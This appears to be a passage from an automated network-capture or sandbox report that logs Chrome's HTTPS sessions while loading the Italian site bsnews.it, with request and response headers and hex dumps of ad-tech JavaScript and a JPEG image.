40 aa 2d 68 8b 02 64 6c 3a 6b a4 41 d8 61 61 96 7f c5 7f 25 f4 93 94 0c c8 65 fe 08 b1 22 69 d5 72 84 f6 09 ba f1 a7 4e 6f 37 0d fc f3 ec cf 2f e6 Data Ascii: xHOVm_n7K?VfR^A'k#PH6>^PSAkQk}qe`&5gg\~sGEL$[($WS\|4`=l;o1$3=VG,`)!)pWYGKA(yW\|nC4eS`@-hdl:kAaa%e"irNo7/
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: f1 e2 4b 80 8e ce 95 43 63 8b a9 c3 6c fd 4b 34 5c f5 e4 f0 eb f0 2f 07 f2 48 32 2f 5c a1 77 3a 2b 60 0d ab a6 df 1e 00 d8 38 3d eb 08 e2 8d 93 63 87 5a b9 b5 e8 d5 46 bf a0 30 0a 7d 97 f3 54 ea 10 8c ca 4f 8a f7 01 14 39 26 46 45 4d cb 18 fb 17 42 c2 99 e7 84 aa 8c d5 30 a3 92 51 db eb f9 ec 76 39 10 15 77 48 81 41 c3 c4 da 24 fb 9d 8a 79 78 85 9c 07 fb 36 85 25 df 3e 9c a9 9e 22 d8 72 0f 39 15 d2 ef 33 a9 58 e7 00 78 4d 86 4d ce 23 86 04 a5 73 60 4a 90 7f d0 32 7f 4e ce 6a 4a 15 a0 5f 3d 18 a5 de fb 0a ca f1 d5 f3 d0 97 33 4f 16 96 c3 8f c4 f8 4e b6 1e 25 6b 3c 73 5e e5 19 e8 4e f7 7b 75 a7 03 9a 7c de 34 ad d5 83 84 15 a2 36 61 44 26 79 c8 da 83 11 ad fc 86 7d 59 b1 60 b5 01 a9 06 53 90 f3 60 43 c1 65 b3 5e fb f0 0b 2e e0 89 7c f2 bc 12 a2 e9 f6 f9 78 Data Ascii: KCclK4\/H2/\w:+`8=cZF0}TO9&FEMB0Qv9wHA$yx6%>"r93XxMM#s`J2NjJ_=3ON%k<s^N{u\|46aD&y}Y`S`Ce^.\|x
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 9a a4 04 3c 92 94 64 c9 af 3f ba 6b 94 5d 48 1d f7 d9 c3 28 1f 36 e7 1e 2a c3 ea a3 74 fc e7 fb e6 f0 96 59 e6 96 e9 bc 2e c1 47 10 3b 8f 98 15 89 bf c3 29 81 5b ec 43 cf bd 35 11 b2 b2 b2 f4 25 6d 0e d6 41 71 37 7d eb 8e 66 f1 94 c4 0d c6 cf 9a 6c be ec ec ac 74 af 2e 10 ee 47 d0 a4 12 c3 ff 54 df cb f8 75 3c da be a2 a5 30 b0 6c e0 d9 1c 40 12 e8 ca 3f ad bc 62 1b 4e 6f d9 31 50 c7 b8 fb 59 99 73 10 64 f7 f8 05 94 7c e5 1b 9c 93 9e e1 10 10 a5 3c 91 d9 cb 98 ba c0 b9 b1 ce 47 c8 ae ab f9 69 d6 89 d3 65 8e 4b 14 9f ff ac 3c c2 e4 17 5e c3 54 99 33 82 f9 79 0c b0 4a 4f d9 29 13 b4 5c f8 80 5f f7 e3 81 6a bd 4e 2d 9b 43 bc 5b 34 4d 93 ba f1 e4 41 32 8f 37 d6 63 9b 42 46 a1 fb 00 e1 6f fe 8f 56 25 49 64 66 1d 29 5b 9f c2 06 e1 05 c5 69 af 46 7b 77 c2 65 df Data Ascii: <d?k]H(6*tY.G;)[C5%mAq7}flt.GTu<0l@?bNo1PYsd\|<GieK<^T3yJO)\_jN-C[4MA27cBFoV%Idf)[iF{we
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 2f 9c 0e b3 4f 70 3f 82 cb d8 7a 59 31 af 7e 83 7a 28 a2 87 18 26 01 71 e9 47 39 5b 76 f2 0a 2f b8 c7 1a e8 1d 22 42 87 b7 d0 bd 45 2d 6f 73 99 47 1d 6c 52 61 f6 3a e4 34 50 3e 2e aa bd 83 33 60 50 ce d4 e3 ef 5a 5d ec aa 70 1c 71 f5 42 01 b5 71 02 32 20 e0 a5 66 a7 7e bc 25 b1 03 33 07 c8 36 55 f0 1d db 4d 37 29 5c d8 bb 97 47 7a 38 44 1b e4 7f 10 3d 4c 2d 3c 0d b3 1c 0f fe 3e 57 a3 a9 ad 0d cd 61 68 63 27 41 c2 9d 4d e8 07 95 e0 66 65 a3 fb bc ca 0e ff 24 31 50 11 fb 68 a8 b5 1c 4e 55 1f c4 05 ad 05 73 84 c5 3b 59 63 99 1b ff fc be d0 9b c7 60 f8 2c 47 3a a8 6c 20 b2 b0 6f 0b e6 6a 57 c7 13 23 64 de 54 fd 8a 3e d6 d8 eb 05 a5 4c af 91 b0 d8 80 a6 4f 57 bc 57 52 68 aa 34 19 a4 90 9d 6a c3 23 19 81 bd 54 e0 e8 54 ce 5f ce 4d c1 65 54 77 57 c1 57 ba b0 f1 Data Ascii: /Op?zY1~z(&qG9[v/"BE-osGlRa:4P>.3`PZ]pqBq2 f~%36UM7)\Gz8D=L-<>Wahc'AMfe$1PhNUs;Yc`,G:l ojW#dT>LOWWRh4j#TT_MeTwWW
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 0c 20 7b 09 6f e6 5e 57 c6 d4 14 ad d0 83 ed 87 17 e4 11 2f 08 6a 20 f9 d8 d2 46 f7 56 39 9f 95 d6 ef f7 c8 8a 48 81 4f c8 1d 55 c9 6f d4 13 76 d2 fd 9b d8 4c 4b f3 8b 86 07 48 95 3c 7d 4e 61 d6 77 1a 72 66 34 d9 8f a8 5b c4 f6 55 27 de d8 fb cc 8d be 60 ed fa 63 01 67 dc 18 fa 26 61 c6 9d a5 44 7d 52 b0 f3 37 e7 3d d4 d6 bb b5 a5 d5 5f 07 77 f8 46 72 78 c9 7a 68 e8 0b 20 55 66 21 32 c8 27 de 56 38 15 00 ff 9a e0 83 55 b5 fd 58 42 85 76 f7 59 10 ea bb ba 96 42 7a 6a 0e d9 dd 51 86 1f 7b 65 ca 0e fd ee 09 8f 70 aa 6c f6 6c 24 7d 9c aa f8 c9 b4 43 9b 7c a4 12 63 e8 6a a0 66 f8 29 06 7c 17 ab 38 48 af f4 8b f4 c9 ad fc 0c 7f 92 44 d9 0e c3 73 4b cc 6e 4c b8 85 9e 4d f4 e0 fb aa d3 d9 02 b5 17 36 2e 45 ea f2 d2 e4 bd f8 1c a6 c0 8e 78 e7 81 38 52 54 b9 2f eb Data Ascii: {o^W/j FV9HOUovLKH<}Nawrf4[U'`cg&aD}R7=_wFrxzh Uf!2'V8UXBvYBzjQ{epll$}C\|cjf)\|8HDsKnLM6.Ex8RT/
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: ac 34 af 45 41 5d ba 9b 93 26 ea c2 f1 a2 f8 54 3c c4 10 31 43 71 e1 7e 27 e0 7c 89 a5 f4 02 fa 32 4a b7 6b 7a ea 64 3a 40 5d 74 30 eb a1 2e 5f fd 64 87 43 e2 9b d7 49 7e 78 ae 13 57 58 ca b5 95 2f 69 0f 5d 46 19 3f 93 9a 61 1c 2a e4 29 74 49 3a 20 94 49 39 d3 bc ab 56 56 d9 56 02 9f a3 b4 fc a6 7e 62 92 2f bb b8 a6 d1 a5 aa 60 6c 82 76 99 4a 38 6c 40 54 2c b2 d6 6a ee 33 4c 50 1b 00 66 76 9f eb 6b 5d 72 09 eb 68 3d f0 76 6b a5 2a 77 81 35 af 56 77 15 7e 5d 03 9d 44 67 54 1f a5 9c 25 3e 24 16 4f 46 b2 0f 9e c6 0b c4 3e cf 20 88 52 fa 4b 09 c3 c7 db 9c 97 75 c2 0f 6a 7e 03 a2 85 db c7 06 64 0d 47 38 8e 1d 60 80 aa 7e ad 3a d4 94 6c be 87 a6 78 37 ab 23 6b 21 23 56 b2 18 e0 38 60 15 52 b3 65 92 d7 42 f4 98 f3 e8 43 74 56 ee 23 99 3e 7a b9 6e 10 de 3c a5 ec Data Ascii: 4EA]&T<1Cq~'\|2Jkzd:@]t0._dCI~xWX/i]F?a)tI: I9VVV~b/`lvJ8l@T,j3LPfvk]rh=vkw5Vw~]DgT%>$OF> RKuj~dG8`~:lx7#k!#V8`ReBCtV#>zn<
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: c5 e9 22 97 7e 5f 98 0d 6a 06 82 06 5d d6 06 15 5a c3 b3 c5 bd 31 20 59 e3 d5 44 0f d1 e2 7c af 2d 5b 3a de 04 57 c2 f2 29 55 96 bd cb a8 7f 00 32 a1 78 0f ca 60 31 9c 14 28 db 43 98 a4 de a1 b3 a5 de c3 ba 27 e4 26 c7 c4 36 69 05 23 72 b3 33 77 19 b8 a4 99 22 f3 1d 88 2d 6e 68 25 10 c1 73 20 e3 6e d5 72 c8 e4 6e 29 75 e7 72 74 d8 5c 61 de e3 57 43 6e 55 17 80 8f ca c0 fd 7f 7e d4 38 d4 c8 a9 28 aa ff fc 2e 09 44 42 be e1 95 e2 e7 8d 3c 09 37 b0 87 c7 2e 9f 8f 95 29 61 dd bf 6e 0a ec 22 82 33 0b 97 1f 50 cb 4c 66 7c 55 d4 4b d5 a4 55 6f 6e d9 19 d3 91 e6 fb c4 8e 57 fd a0 90 5b 24 ae a2 37 1b 7b 2f 3c 0c 9a d9 56 83 22 00 6e 92 e0 95 c2 ab 7e 39 89 7e 88 8c 4f 77 c2 86 26 13 4b ea 7a c0 81 37 0d 15 e0 a1 f8 bb 31 84 73 ff 63 b4 3c 56 7d fc 3f e2 eb 03 d3 Data Ascii: "~_j]Z1 YD\|-[:W)U2x`1(C'&6i#r3w"-nh%s nrn)urt\aWCnU~8(.DB<7.)an"3PLf\|UKUonW[$7{/<V"n~9~Ow&Kz71sc<V}?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49883	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	535	OUT	GET /codesour/bsnews/14.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:10 UTC	594	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:10 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 54227 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:33 GMT x-rgw-object-type: Normal ETag: "efd5bc83f986aa652c0e3282ef3904d0" x-amz-request-id: tx000001070c02cf2eee685-0066052f7d-2730a77-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoClwyJAA X-77-NZT-Ray: 8e305f1c7cf685267d2f05668c47c72d X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:10 UTC	15790	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 34 5d 2c 7b 35 38 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 2c 6e 2c 72 2c 61 3b 69 3d 77 69 6e 64 6f 77 2c 28 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 3d 28 6e 65 77 28 77 69 6e 64 6f 77 2e 55 41 50 61 72 73 65 72 7c 7c 74 2e 55 41 50 61 72 73 65 72 29 29 2e 67 65 74 52 65 73 75 6c 74 28 29 2c 72 3d 6e 65 77 20 6c 2c 74 68 69 73 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 67 65 74 53 6f 66 74 77 61 72 65 56 65 72 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 30 2e 31 2e 31 31 22 7d 2c 67 65 74 42 72 6f 77 73 65 72 44 61 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[14],{580:function(e,t){var i,n,r,a;i=window,(a=function(){return n=(new(window.UAParser\|\|t.UAParser)).getResult(),r=new l,this}).prototype={getSoftwareVersion:function(){return"0.1.11"},getBrowserDa
2024-03-28 08:51:10 UTC	16384	IN	Data Raw: 28 5c 5c 64 2b 29 28 3f 3a 5f 28 5c 5c 64 2b 29 29 3f 29 3f 29 3f 24 22 29 3f 69 3d 74 68 69 73 2e 76 65 72 73 69 6f 6e 43 68 65 63 6b 28 74 2b 22 2b 22 29 3a 28 65 28 22 5b 69 73 57 65 62 53 74 61 72 74 49 6e 73 74 61 6c 6c 65 72 28 29 5d 20 49 6e 76 61 6c 69 64 20 6d 69 6e 69 6d 75 6d 56 65 72 73 69 6f 6e 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 69 73 57 65 62 53 74 61 72 74 49 6e 73 74 61 6c 6c 65 64 28 29 3a 20 22 2b 74 29 2c 69 3d 74 68 69 73 2e 76 65 72 73 69 6f 6e 43 68 65 63 6b 28 22 31 2e 34 2e 32 2b 22 29 29 2c 69 7d 2c 67 65 74 4a 50 49 56 65 72 73 69 6f 6e 55 73 69 6e 67 4d 69 6d 65 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 6e 61 76 69 67 61 74 6f 72 2e 6d 69 6d 65 54 79 70 65 73 2e 6c 65 6e 67 74 Data Ascii: (\\d+)(?:_(\\d+))?)?)?$")?i=this.versionCheck(t+"+"):(e("[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): "+t),i=this.versionCheck("1.4.2+")),i},getJPIVersionUsingMimeType:function(){for(var e=0;e<navigator.mimeTypes.lengt
2024-03-28 08:51:10 UTC	16384	IN	Data Raw: 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 7c 7c 43 2e 62 6f 64 79 29 29 26 26 65 28 29 2c 4c 7c 7c 28 76 6f 69 64 20 30 21 3d 3d 43 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 26 26 43 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 21 31 29 2c 6a 2e 69 65 26 26 6a 2e 77 69 6e 26 26 28 43 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 43 2e 72 65 61 64 79 53 74 61 74 65 26 26 28 43 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 29 2c 65 28 29 29 7d 29 Data Ascii: Name("body")[0]\|\|C.body))&&e(),L\|\|(void 0!==C.addEventListener&&C.addEventListener("DOMContentLoaded",e,!1),j.ie&&j.win&&(C.attachEvent("onreadystatechange",(function(){"complete"==C.readyState&&(C.detachEvent("onreadystatechange",arguments.callee),e())})
2024-03-28 08:51:10 UTC	5669	IN	Data Raw: 74 20 22 2b 65 2e 74 79 70 65 2c 65 2e 64 61 74 61 2e 61 64 44 61 74 61 2c 21 31 2c 21 31 2c 22 67 72 65 65 6e 22 29 2c 77 69 6e 64 6f 77 2e 5f 73 6f 75 72 2e 54 72 61 63 6b 65 72 53 6f 75 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 74 2c 65 2e 74 79 70 65 2c 65 29 7d 7d 7d 28 69 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 3f 4a 53 4f 4e 2e 70 61 72 73 65 28 69 29 3a 7b 7d 29 7d 65 6c 73 65 20 6c 28 22 4c 4f 47 20 56 49 44 45 4f 22 2c 65 2c 21 31 2c 21 31 2c 22 6c 69 67 68 74 62 6c 75 65 22 29 7d 7d 63 61 74 63 68 28 65 29 7b 6c 28 22 45 52 52 4f 52 22 2c 65 2c 21 31 2c 21 31 2c 22 6c 69 67 68 74 72 65 64 22 29 7d 7d 29 2c 21 31 29 7d 2c 73 65 6e 64 42 65 61 63 6f 6e 46 6f 72 51 75 61 72 74 69 6c 65 3a 73 2c 61 64 64 4c 69 73 74 65 6e 65 72 47 41 Data Ascii: t "+e.type,e.data.adData,!1,!1,"green"),window._sour.TrackerSour.sendBeacon(t,e.type,e)}}}(i="string"==typeof i?JSON.parse(i):{})}else l("LOG VIDEO",e,!1,!1,"lightblue")}}catch(e){l("ERROR",e,!1,!1,"lightred")}}),!1)},sendBeaconForQuartile:s,addListenerGA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49884	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	536	OUT	GET /codesour/bsnews/689.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	593	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 3338 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:26 GMT x-rgw-object-type: Normal ETag: "d79edd48c8316367edd78b180dccf0c2" x-amz-request-id: tx000008762a88f9ec87e64-0066052f7d-2bbc492-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoNzjskAA X-77-NZT-Ray: 8e305f1cd80390267d2f0566f03fe42d X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:09 UTC	3338	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 38 39 5d 2c 7b 36 38 39 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 72 3d 6e 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 6f 7d 3d 72 2e 74 2c 69 3d 6e 65 77 20 6f 28 22 49 6e 74 65 78 74 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 77 69 6e 64 6f 77 3b 63 6f 6e 73 74 7b 64 65 76 69 63 65 3a 74 2c 69 6e 74 65 78 74 43 6f 6e 66 69 67 3a 6e 2c 62 72 69 64 43 6f 6e 66 69 67 3a 72 7d 3d 65 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 72 65 74 75 72 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[689],{689:(e,t,n)=>{"use strict";n.r(t);var r=n(845);const{LoggerSour:o}=r.t,i=new o("Intext");!function(){var e=window;const{device:t,intextConfig:n,bridConfig:r}=e._sour.config;if(void 0===n)retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49885	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:09 UTC	414	OUT	GET /bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:09 UTC	596	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:09 GMT Content-Type: image/jpeg Content-Length: 14959 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:24 GMT Expires: Sat, 28 Mar 2026 05:35:24 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/girl-2771936_1280.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "e14e547a2777be9b" X-Bytes-Saved: 883 Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:09 UTC	773	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05 03 06 00 01 02 07 08 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f5 1c 8f a3 2c c8 Data Ascii: JFIFCCD",
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 92 d0 3c 4b 21 cd e3 54 4d 7d f7 9a ad ac c7 f2 6f 63 c9 ba 5e c4 87 06 de 57 14 10 98 b9 8a 18 b9 97 4f 11 84 60 c4 8d f9 72 58 8a d1 97 4c 78 25 3a 34 4e 4d 9f 6f 47 0a c9 4f 93 24 c8 0b ab 5e 80 8f b9 e7 69 d6 54 8e 8e 56 2c 24 2e 97 c3 75 fb 5d ef 0c 55 2f 67 01 c1 51 50 8b 05 4b 27 b8 fc c7 e8 f2 fd 94 4e fb 1b c4 8d 0e 31 f1 ef 56 6d d2 9b e6 eb ef fe 6f ce e8 72 ba 13 d1 a5 57 6f 32 5a 60 8f 82 5a 91 6d d5 cd 98 6b 4c 06 34 80 a9 b5 d6 4d fb 93 44 03 e6 33 52 d0 75 9b cb 06 0b 1d 2c ed 70 12 56 6e 00 ca a5 5a 14 aa b8 ee 03 c5 ab 52 4b b0 6a f3 b5 70 c8 fb ba b6 a5 58 05 58 44 bf 69 f4 1f 96 3e 84 b2 75 2e fa 62 c8 14 e4 b9 da 6a d9 5a e3 d1 47 0a ff 00 03 6e 98 45 86 1a b5 db 28 16 08 1e 61 e8 fe 6e 9d 03 93 14 aa 71 12 69 8a 74 f2 4f 53 08 ef ad Data Ascii: <K!TM}oc^WO`rXLx%:4NMoGO$^iTV,$.u]U/gQPK'N1VmorWo2Z`ZmkL4MD3Ru,pVnZRKjpXXDi>u.bjZGnE(anqitOS
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 7a a2 e7 7d 3a 6e d0 e2 ae fe 87 be e9 c9 7d b5 d1 c7 f6 f7 52 a6 86 1e 2d 38 fb f4 d7 7f b9 66 6d 5c 3e e0 67 f2 29 0c 19 3a b0 92 d2 b3 36 23 55 6f ba ea 96 b5 ee c9 a7 c4 a3 f9 07 96 19 69 11 9d 44 2d d9 b4 f6 6a d4 b5 dd 76 dc f5 d3 76 9b ac 6e 42 d0 b0 41 d0 95 83 63 22 2a 28 fd 99 07 52 98 04 a0 29 8e e3 ca 9c f7 5a 99 e8 66 53 52 55 2f db 52 4d da 8a d9 91 bc 78 c4 46 ba e7 c9 a1 45 fc 6e 9a 6a 14 ad d9 68 ba fc 5a f8 0d f5 e9 cf 53 74 d6 8e d7 b2 25 5d f9 5e be 75 78 19 c8 f2 19 32 2f 1c e7 4e 1a 6b 5a cd 96 ac b5 d8 cb 0c 27 f6 b4 fb 61 81 f1 34 bf 7d 2a 9d 3a 42 af fb 37 f2 25 4c c5 3f 49 d1 62 80 08 b2 91 00 9a 53 b0 3f bc 86 56 d4 f9 8d b5 52 d8 ed bd b7 71 9b 32 ca b8 cf 24 b7 43 71 9c a3 5a 0e 85 5b 72 9b 45 5e 57 a8 65 d9 50 bf 37 0d bd b2 Data Ascii: z}:n}R-8fm\>g):6#UoiD-jvvnBAc"(R)ZfSRU/RMxFEnjhZSt%]^ux2/NkZ'a4}:B7%L?IbS?VRq2$CqZ[rE^WeP7
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 45 c1 fe cc 91 52 93 91 8e 24 20 21 bd 1c 7e bc 17 a2 fd 0f 83 12 dc e8 cb 1f 8d d2 23 e4 4d 0f c8 9b 13 6f b2 3d 6d 23 07 ed 1d 0d fd 1c 46 be ef 93 c6 b8 cb 75 70 66 9f c9 2b d2 cd de 91 14 ee d9 8a 6a 50 dc 39 7d 22 74 55 8e 35 a4 20 e6 e9 12 8b 83 a6 3f 1e 51 86 fd 3a 25 e4 4e 58 d4 59 65 8c 86 19 7b ff 00 84 a6 9c 6a 5f d5 7b 3c 6c cf 76 d7 f5 ff c4 00 23 11 00 02 02 01 04 02 03 01 01 00 00 00 00 00 00 00 00 01 02 11 03 10 12 21 31 04 20 13 41 51 61 22 ff da 00 08 01 02 01 01 3f 01 25 35 11 e4 94 8d d2 d2 30 fd 3e 26 d9 1c 71 8e 99 66 a0 88 37 39 0b 84 3b 2a 98 af a1 2e 4f 8e cc 98 3f 4f 8e 1f 43 5d 16 64 9e de 85 8e 52 ec c1 8f ed 99 b1 7d a2 18 d2 f4 cb 95 63 8d b3 7c f2 ca cc 6d 5d 33 72 d2 5c 91 e5 0b 91 23 c9 22 a9 5b 21 6d 8d 14 24 39 50 dd f7 Data Ascii: ER$ !~#Mo=m#Fupf+jP9}"tU5 ?Q:%NXYe{j_{<lv#!1 AQa"?%50>&qf79;*.O?OC]dR}c\|m]3r\#"[!m$9P
2024-03-28 08:51:09 UTC	1369	IN	Data Raw: 17 5a 25 60 ad b9 50 7e 50 33 63 9a b7 92 f1 52 ee 0a 07 d9 41 cd 12 1b 2c 75 c4 70 56 6c 22 e3 38 9a 67 25 15 44 7d 4a da f3 5c f5 47 2c d0 c6 3d 5f 35 38 a7 94 22 5b ba 5d f8 0b 66 c3 3f 31 e7 aa 75 4c 7f f7 b3 26 fd 4a 96 8f 35 8d ac b7 53 0b 69 b4 6d 36 cc 62 77 35 8f 66 1e e6 89 a9 7b c7 cc c2 8b 5c 7d 23 81 3c 2a 37 ea ea 87 a2 d7 86 16 88 68 cd a9 d5 db a3 d2 d2 1c 1f eb 76 82 48 0b 0d 2a 77 3f 08 40 ba 99 00 e4 78 23 51 fb 38 1f 5e 7e 0b d0 b4 9a ec db b0 4d 2f f4 b8 82 c3 05 a5 06 e2 cf 2e 8a ea 79 28 16 52 11 03 3e 0a 5c 88 a8 f9 7f c8 db 94 da d8 20 3a 60 4f 55 88 5a 73 ba b1 d5 9a 80 67 c1 44 ef 1f c2 fd 42 97 bd 4f e5 43 54 e6 ba ab a8 e3 c8 2d ee ce d2 9f 77 97 cb ab d2 74 22 2a 53 73 46 e0 37 a7 d2 17 a3 31 a2 ad 47 bb 7a 99 18 9a 02 01 fa Data Ascii: Z%`P~P3cRA,upVl"8g%D}J\G,=_58"[]f?1uL&J5Sim6bw5f{\}#<7hvHw?@x#Q8^~M/.y(R>\ :`OUZsgDBOCT-wt"*SsF71Gz
